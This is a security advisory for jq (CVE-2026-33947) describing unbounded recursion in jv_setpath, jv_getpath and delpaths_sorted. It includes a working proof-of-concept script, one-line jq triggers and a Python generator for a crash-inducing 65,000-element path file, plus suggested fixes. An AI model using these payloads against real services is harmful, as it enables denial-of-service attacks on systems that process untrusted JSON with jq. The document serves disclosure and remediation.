Unbounded Recursion in jv_setpath() / jv_getpath() / delpaths_sorted()

Moderate **itchyny** published **GHSA-xwrw-4f8h-rjvg** 3 days ago

Package

jqlang/jq

Affected versions

<= 1.8.1

Patched versions

None

Description

Summary

The `jv_setpath()`, `jv_getpath()`, and `delpaths_sorted()` functions in `src/jv_aux.c` use unbounded recursion where the recursion depth equals the length of a caller-supplied path array. There is no depth limit check. When a path array with ~60,000 or more elements is supplied — either constructed by a jq filter expression or provided directly in attacker-controlled JSON input — the C call stack is exhausted, causing a segmentation fault (SIGSEGV) and immediate process crash.

This vulnerability bypasses the `MAX_PARSING_DEPTH` (10,000) limit that protects the JSON parser, because path arrays can be constructed programmatically to arbitrary lengths without being constrained by parsing depth. Critically, the path array can be sourced entirely from attacker-controlled JSON input, making this exploitable in scenarios where a trusted jq filter processes untrusted data.

Vulnerable Code

`jv_setpath()` — `src/jv_aux.c:368-419`

```
jv jv_setpath(jv root, jv path, jv value) {
  // ...
  if (jv_array_length(jv_copy(path)) == 0) {
    // base case
    return value;
  }
```

```
  jv pathcurr = jv_array_get(jv_copy(path), 0);
  jv pathrest = jv_array_slice(path, 1, jv_array_length(jv_copy(path)));
  // ...
  return jv_set(root, pathcurr, jv_setpath(subroot, pathrest, value));  // <-- UNBOUNDED
}
```

Each recursive call consumes one element from the path array and makes a new stack frame. With a path of length N, the recursion reaches depth N. At ~60,000 elements (with the default 8 MB stack on Linux), the stack is exhausted.

`jv_getpath()` — `src/jv_aux.c:421-438`

```
jv jv_getpath(jv root, jv path) {
  // ...
  jv pathcurr = jv_array_get(jv_copy(path), 0);
  jv pathrest = jv_array_slice(path, 1, jv_array_length(jv_copy(path)));
  return jv_getpath(jv_get(root, pathcurr), pathrest);  // <-- UNBOUNDED RECURSION
}
```

`delpaths_sorted()` — `src/jv_aux.c:441-487`

```
static jv delpaths_sorted(jv object, jv paths, int start) {
  // ...
  jv newsubobject = delpaths_sorted(subobject, jv_array_slice(...), start+1);  // <-- UN
  // ...
}
```

Attack Paths

Path 1: Attacker-controlled JSON input with trusted filter (HIGH severity)

This is the most dangerous scenario. The jq filter is written by the developer/operator, but the JSON input is attacker-controlled. Many real-world deployments process untrusted JSON through fixed jq filters.

```
# Attacker crafts a JSON file with a deeply nested path array
python3 -c "
import json
path = [0] * 65000  # 65,000-element path array
obj = {'path': path, 'value': 1}
with open('/tmp/malicious.json', 'w') as f:
    json.dump(obj, f)
"

# Trusted filter uses setpath on attacker-controlled path
```

```
jq '.path as \$p | .value as \$v | null | setpath(\$p; \$v)' /tmp/malicious.json
# Result: Segmentation fault (SIGSEGV)
```

The JSON file is only ~200 KB — a tiny payload that causes an immediate crash.

Path 2: Attacker-controlled jq filter expression

```
# Direct filter-based trigger
echo 'null' | jq 'setpath([range(65000)|0]; 1)'
# Result: Segmentation fault (SIGSEGV)

echo 'null' | jq 'getpath([range(200000)|0])'
# Result: Segmentation fault (SIGSEGV)
```

Path 3: Via `delpaths` with deep paths

```
echo '[[0,0,0,...]]' | jq 'null | delpaths([[range(65000)|0]])'
# Result: Segmentation fault (SIGSEGV)
```

Proof of Concept

```
#!/bin/bash
# PoC: Unbounded recursion in jv_setpath() causes stack overflow crash
# Tested on: jq 1.8.1 (Linux x86_64, default 8MB stack)
# Expected: Segmentation fault (exit code 139)

# === Method 1: Attacker-controlled JSON input (most realistic) ===
python3 -c "
import json, sys
path = [0] * 65000
obj = {'path': path, 'value': 'pwned'}
json.dump(obj, sys.stdout)
" > /tmp/poc_deep_path.json

echo "File size: $(wc -c < /tmp/poc_deep_path.json) bytes"
echo "Testing setpath with attacker-controlled path from JSON input..."
jq '.path as \$p | .value as \$v | null | setpath(\$p; \$v)' /tmp/poc_deep_path.json
echo "Exit code: $?"
# Expected output:
#   File size: ~200000 bytes
#   Segmentation fault
#   Exit code: 139

# === Method 2: Direct filter expression ===
echo "Testing setpath with filter-constructed path..."
echo 'null' | jq 'setpath([range(65000)|0]; 1)'
echo "Exit code: $?"
# Expected: Segmentation fault, exit code 139
```

```
# === Method 3: getpath (same root cause) ===
echo "Testing getpath with deep path..."
echo 'null' | jq 'getpath([range(200000)|0])'
echo "Exit code: $?"
# Expected: Segmentation fault, exit code 139

rm -f /tmp/poc_deep_path.json
```

Verification Results (jq 1.8.1, Linux x86_64):

Test	Depth	Input Size	Result
`setpath` via JSON input	65,000	~200 KB	**SIGSEGV (exit 139)**
`setpath` via filter	55,000	5 bytes	OK (no crash)
`setpath` via filter	60,000	5 bytes	**SIGSEGV (exit 139)**
`getpath` via filter	60,000	5 bytes	OK (no crash)
`getpath` via filter	200,000	5 bytes	**SIGSEGV (exit 139)**
Normal JSON parsing	10,001	~10 KB	Rejected ("Exceeds depth limit")

The crash threshold varies by function (due to different stack frame sizes) but is consistently achievable with modest input sizes.

Impact

- **Denial of Service (Crash):** Any jq process that calls `setpath`, `getpath`, or `delpaths` with a sufficiently long path array will crash with SIGSEGV. This is an unrecoverable crash — no error handling is possible.
- **Bypass of existing depth limits:** The JSON parser's `MAX_PARSING_DEPTH` (10,000) does not protect against this because path arrays are constructed at the jq runtime level, not during JSON parsing. An attacker can embed a flat array of 65,000 integers in a JSON document (only ~200 KB) that causes a crash when used as a path.
- **Affected real-world scenarios:**
  - **Web services** using jq to transform or extract data from user-submitted JSON
  - **CI/CD pipelines** processing untrusted configuration or API responses with jq
  - **Shell scripts** that use `setpath` / `getpath` / `delpaths` on paths derived from input data
  - **Any application embedding libjq** where path arguments can be influenced by external input
- **Note:** Unlike memory corruption vulnerabilities, stack overflow from recursion is generally not exploitable for code execution on modern systems with guard pages. The impact is limited to denial of service.

Comparison with Existing Protections

Protection	Scope	Limit	Protects against this?
`MAX_PARSING_DEPTH` (parser)	JSON nesting during parse	10,000	**No** — paths are runtime arrays, not parse nesting
`MAX_PRINT_DEPTH` (printer)	`jv_dump` recursion	10,000	**No** — different code path
Array size limit	`jvp_array_write`	INT_MAX/4	**No** — path array of 65k is far below this

Suggested Fix

Add a depth/length check at the entry point of each recursive function:

```
#define MAX_PATH_DEPTH 10000  // Match MAX_PARSING_DEPTH

jv jv_setpath(jv root, jv path, jv value) {
  if (jv_get_kind(path) != JV_KIND_ARRAY) {
    jv_free(value);
    jv_free(root);
    jv_free(path);
    return jv_invalid_with_msg(jv_string("Path must be specified as an array"));
  }
  if (jv_array_length(jv_copy(path)) > MAX_PATH_DEPTH) {
    jv_free(value);
    jv_free(root);
    jv_free(path);
    return jv_invalid_with_msg(jv_string("Path too deep"));
  }
  // ... rest of function
}
```

The same check should be added to `jv_getpath()` and `jv_delpaths()`.

Alternatively, convert the recursive implementations to iterative ones (as was done for `jv_dump` with `MAX_PRINT_DEPTH`). An iterative `jv_getpath` is straightforward:

```
jv jv_getpath(jv root, jv path) {
  if (jv_get_kind(path) != JV_KIND_ARRAY) {
    jv_free(root);
    jv_free(path);
    return jv_invalid_with_msg(jv_string("Path must be specified as an array"));
  }
  int len = jv_array_length(jv_copy(path));
  for (int i = 0; i < len; i++) {
    if (!jv_is_valid(root)) break;
```

```
    root = jv_get(root, jv_array_get(jv_copy(path), i));
  }
  jv_free(path);
  return root;
}
```

References

- Vulnerable source (`jv_setpath`):

jq/src/jv_aux.c
Lines 368 to 419 in `b6a9e26`

```
368     jv jv_setpath(jv root, jv path, jv value) {
369       if (jv_get_kind(path) != JV_KIND_ARRAY) {
370         jv_free(value);
371         jv_free(root);
372         jv_free(path);
373         return jv_invalid_with_msg(jv_string("Path must be specified as an arra
374       }
375       if (!jv_is_valid(root)){
376         jv_free(value);
377         jv_free(path);
378         return root;
379       }
```

- Vulnerable source (`jv_getpath`):

jq/src/jv_aux.c
Lines 421 to 438 in `b6a9e26`

```
421     jv jv_getpath(jv root, jv path) {
422       if (jv_get_kind(path) != JV_KIND_ARRAY) {
423         jv_free(root);
424         jv_free(path);
425         return jv_invalid_with_msg(jv_string("Path must be specified as an arra
426       }
427       if (!jv_is_valid(root)) {
428         jv_free(path);
429         return root;
430       }
431       if (jv_array_length(jv_copy(path)) == 0) {
432         jv_free(path);
```

- Vulnerable source (`delpaths_sorted`):

jq/src/jv_aux.c
Lines 441 to 487 in `b6a9e26`

```
441     static jv delpaths_sorted(jv object, jv paths, int start) {
442       jv delkeys = jv_array();
443       for (int i=0; i<jv_array_length(jv_copy(paths));) {
```

```
444         assert(jv_array_length(jv_array_get(jv_copy(paths), i)) > start);
445         int delkey = jv_array_length(jv_array_get(jv_copy(paths), i)) == start
446         jv key = jv_array_get(jv_array_get(jv_copy(paths), i), start);
447         int j = i;
448         do
449           j++;
450         while (j < jv_array_length(jv_copy(paths)) &&
451                jv_equal(jv_copy(key), jv_array_get(jv_array_get(jv_copy(paths),
```

- Parser depth limit for comparison:

jq/src/jv_parse.c
Lines 13 to 15 in `b6a9e26`

```
13      #ifndef MAX_PARSING_DEPTH
14      #define MAX_PARSING_DEPTH (10000)
15      #endif
```

- Print depth limit for comparison:

jq/src/jv_print.c
Line 12 in `b6a9e26`

```
12      #include "jv.h"
```

Severity

Moderate 6.2 / 10

CVSS v3 base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

Learn more about base metrics

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-33947

Weaknesses

▶ CWE-674

Credits

bg0d-glitch Reporter